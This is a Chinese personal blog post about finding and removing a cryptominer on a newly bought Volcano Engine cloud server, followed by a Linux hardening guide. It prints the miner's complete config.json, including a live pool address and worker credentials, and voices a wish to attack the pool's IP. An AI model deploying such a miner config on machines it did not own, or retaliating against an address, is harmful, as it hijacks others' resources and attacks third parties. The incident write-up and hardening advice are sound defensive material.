发现问题
- 笔者的阿里云服务器快到期了,前段时间买了一个火山引擎服务器
- 除此之外,笔者也用腾讯云服务器
- 三家云服务器供应商都挺不错,各有千秋
- 今天,笔者忽然发现自己的火山引擎服务挂了
- 试试winscp远程登录不行,使用火山引擎自带的ECS Terminal也不行
- 重启服务器也不行
- 各种尝试都不行,没办法只能提交一个工单

售后极速响应
- 不得不说,火山引擎服务器的售后是真的给力
- 工单提交后,不到一分钟,立马响应
- 售后工程师看了一下,说是我的服务器CPU和内存打满了
- 想想也是,没资源空间使用了,自然无法远程登录
- 不过,我的火山引擎服务器并没有跑太多服务
- 怎么可能会让CPU和内存飙到100%呢?
- 更何况,4核8G的配置,也勉强凑合够用了
- 这是为何?

猛然间,一个可怕的念头,在我脑海中浮现😱😱😱
我的服务器被挖矿了!!!😡😡😡
先关机,再开机,极速登录,htop命令查看CPU明细
- 但是,我无法登录,没法操作
- 这可不行
- 忽然我灵机一动,我可以先关机再开机
- 在开机的一瞬间,使用ECS Terminal登录上去
- 果然,可行!
- 然后执行 htop 命令,查看一下

删除不掉的挖矿程序文件
- 上图中,发现问题出现在
/user/lib/updated/
文件夹 - 想了想这个文件夹有古怪
- 其中有如下的文件
- 挖矿软件程序文件一般都不太好删除掉,或者删除不干净,如下:
- 挖矿的核心程序是
dhcpi
的二进制文件 - 此文件通过
config
文件,把结果给到对应的 挖矿池

挖矿配置文件分析(印度 卡纳塔克邦班加罗尔DigitalOcean数据中心的挖矿ip)
- 笔者打开
/user/lib/updated/config.json
文件 - 看到了,对应信息确定了,就是一个挖矿程序软件文件
- 首先
config.json
中包含randomx
(一种加密货币挖矿算法)、cpu.enabled: true
等挖矿相关配置 - 然后,明确指向了矿池ip地址
139.59.2.141:3333
和矿工账号Rinho.288000
- 并且,包含显卡挖矿(OpenCL/CUDA)的配置选项
- 再一个,挖矿程序
dhcpi
伪装成 DHCP,但实际是静态编译的ELF
可执行文件 - 占用极高 CPU ,符合挖矿程序的行为特征,安装路径
/usr/lib/updated/
也不是系统标准路径
笔者查了一下ip: 139.59.2.141
是印度的 😡😡😡

可惜,笔者不太会黑客技术,要不然非得攻击这个ip不可
js
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"background": false,
"colors": true,
"title": true,
"randomx": {
"init": -1,
"init-avx2": -1,
"mode": "auto",
"1gb-pages": false,
"rdmsr": true,
"wrmsr": true,
"cache_qos": false,
"numa": true,
"scratchpad_prefetch_mode": 1
},
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"yield": true,
"max-threads-hint": 100,
"asm": true,
"argon2-impl": null,
"cn/0": false,
"cn-lite/0": false
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"adl": true,
"cn/0": false,
"cn-lite/0": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false
},
"donate-level": 0,
"donate-over-proxy": 0,
"log-file": null,
"pools": [
{
"algo":"rx/0",
"coin": null,
"url": "139.59.2.141:3333",
"user": "Rinho.288000",
"pass": "NewHeaven",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
}
],
"print-time": 60,
"health-print-time": 60,
"dmi": true,
"retries": 5,
"retry-pause": 5,
"syslog": false,
"tls": {
"enabled": false,
"protocols": null,
"cert": null,
"cert_key": null,
"ciphers": null,
"ciphersuites": null,
"dhparam": null
},
"dns": {
"ipv6": false,
"ttl": 30
},
"user-agent": null,
"verbose": 0,
"watch": true,
"pause-on-battery": false,
"pause-on-active": false
}
植入挖矿软件的解决方案------重装系统
- 各种尝试,的确不太行,后来删除了,但是删不干净
- 最终只能重装系统了
- 不过,火山引擎也有对方的方案
- 快照备份后,并没有丢失太多东西

- 最终问题解决
- 不过还是要反思一下
原因:笔者的这个云服务器,纯属于新买的,没做什么配置,没上什么防护策略....
如何避免自己的云服务器被挖矿
一、基础安全加固
1. 及时更新系统补丁
挖矿程序常利用系统漏洞入侵,需定期更新系统:
bash
bash
# Ubuntu/Debian 系统
sudo apt update && sudo apt upgrade -y
# CentOS/RHEL 系统
sudo yum update -y
2. 禁用不必要的服务和端口
关闭非必需的端口(如默认远程端口 22 可改为自定义端口),减少攻击面:
bash
bash
# 查看当前开放的端口
sudo netstat -tulpn
# 关闭不必要的服务(以ftp为例)
sudo systemctl stop vsftpd
sudo systemctl disable vsftpd
# 修改SSH默认端口(编辑配置文件)
sudo vim /etc/ssh/sshd_config
# 将 Port 22 改为自定义端口(如2022),保存后重启SSH服务
sudo systemctl restart sshd # Ubuntu/Debian
# 或
sudo systemctl restart sshd.service # CentOS
二、强化账号与权限管理
1. 禁用 root 直接登录,使用普通用户 sudo
挖矿程序常尝试暴力破解 root 账号,建议禁用 root 直接登录:
bash
bash
# 编辑SSH配置
sudo vim /etc/ssh/sshd_config
# 改为:PermitRootLogin no
# 保存后重启SSH服务
sudo systemctl restart sshd
创建普通用户并授权 sudo:
bash
bash
sudo adduser secure_user # 创建用户
sudo usermod -aG sudo secure_user # 授权sudo权限
2. 设置强密码策略
避免弱密码被暴力破解:
bash
ini
# 安装密码强度检查工具
sudo apt install libpam-cracklib -y # Ubuntu/Debian
# 或
sudo yum install cracklib -y # CentOS
# 编辑PAM配置,强制密码复杂度
sudo vim /etc/pam.d/common-password
# 添加以下行(要求密码至少8位,包含大小写、数字和特殊字符)
password requisite pam_cracklib.so minlen=8 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1
三、限制异常进程与资源占用
1. 监控 CPU / 内存 / 网络异常占用
挖矿程序通常会占用大量 CPU 和网络资源,可通过工具实时监控:
bash
bash
# 安装监控工具
sudo apt install htop nethogs -y # Ubuntu/Debian
# 实时查看进程CPU占用(按P排序)
htop
# 查看进程网络占用(按流量排序)
sudo nethogs
若发现陌生高占用进程(如kdevtmpfsi
、minerd
等挖矿进程),立即终止并删除:
bash
bash
sudo kill -9 <进程ID> # 终止进程
sudo rm -rf /path/to/malicious/file # 删除文件
四、安装防火墙与入侵检测
1. 配置 UFW 防火墙(Ubuntu 默认)
只开放必要端口(如 SSH、HTTP 等):
bash
bash
# 启用防火墙
sudo ufw enable
# 允许SSH端口(以2022为例)
sudo ufw allow 2022/tcp
# 允许HTTP/HTTPS(如需)
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
# 查看规则
sudo ufw status
2. 安装入侵检测工具(如 Fail2ban)
自动封禁多次失败登录的 IP(补充之前的 SSH 锁定配置):
bash
ini
# 安装Fail2ban
sudo apt install fail2ban -y # Ubuntu/Debian
# 配置SSH防护(复制默认配置)
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo vim /etc/fail2ban/jail.local
# 找到[sshd]部分,修改如下:
[sshd]
enabled = true
port = 2022 # 改为你的SSH端口
maxretry = 3 # 失败3次
bantime = 300 # 封禁5分钟
# 重启Fail2ban
sudo systemctl restart fail2ban
五、其他其他注意事项
- 禁止未授权的 SSH 密钥登录 :定期检查
~/.ssh/authorized_keys
,删除陌生密钥。 - 避免使用明文密码存储:不将密码写在脚本或配置文件中,优先使用密钥登录。
- 定期备份系统 :使用
rsync
或云服务商快照功能,被入侵后可快速恢复。 - 警惕第三方软件:只从官方源安装软件,避免下载未知脚本或压缩包(挖矿程序常伪装成工具包)。
通过以上步骤,可大幅降低服务器被挖矿程序入侵的风险。若发现异常,建议立即隔离服务器并检查日志(如/var/log/auth.log
、/var/log/syslog
)排查入侵来源。
A good memory is better than a bad pen. Record it down...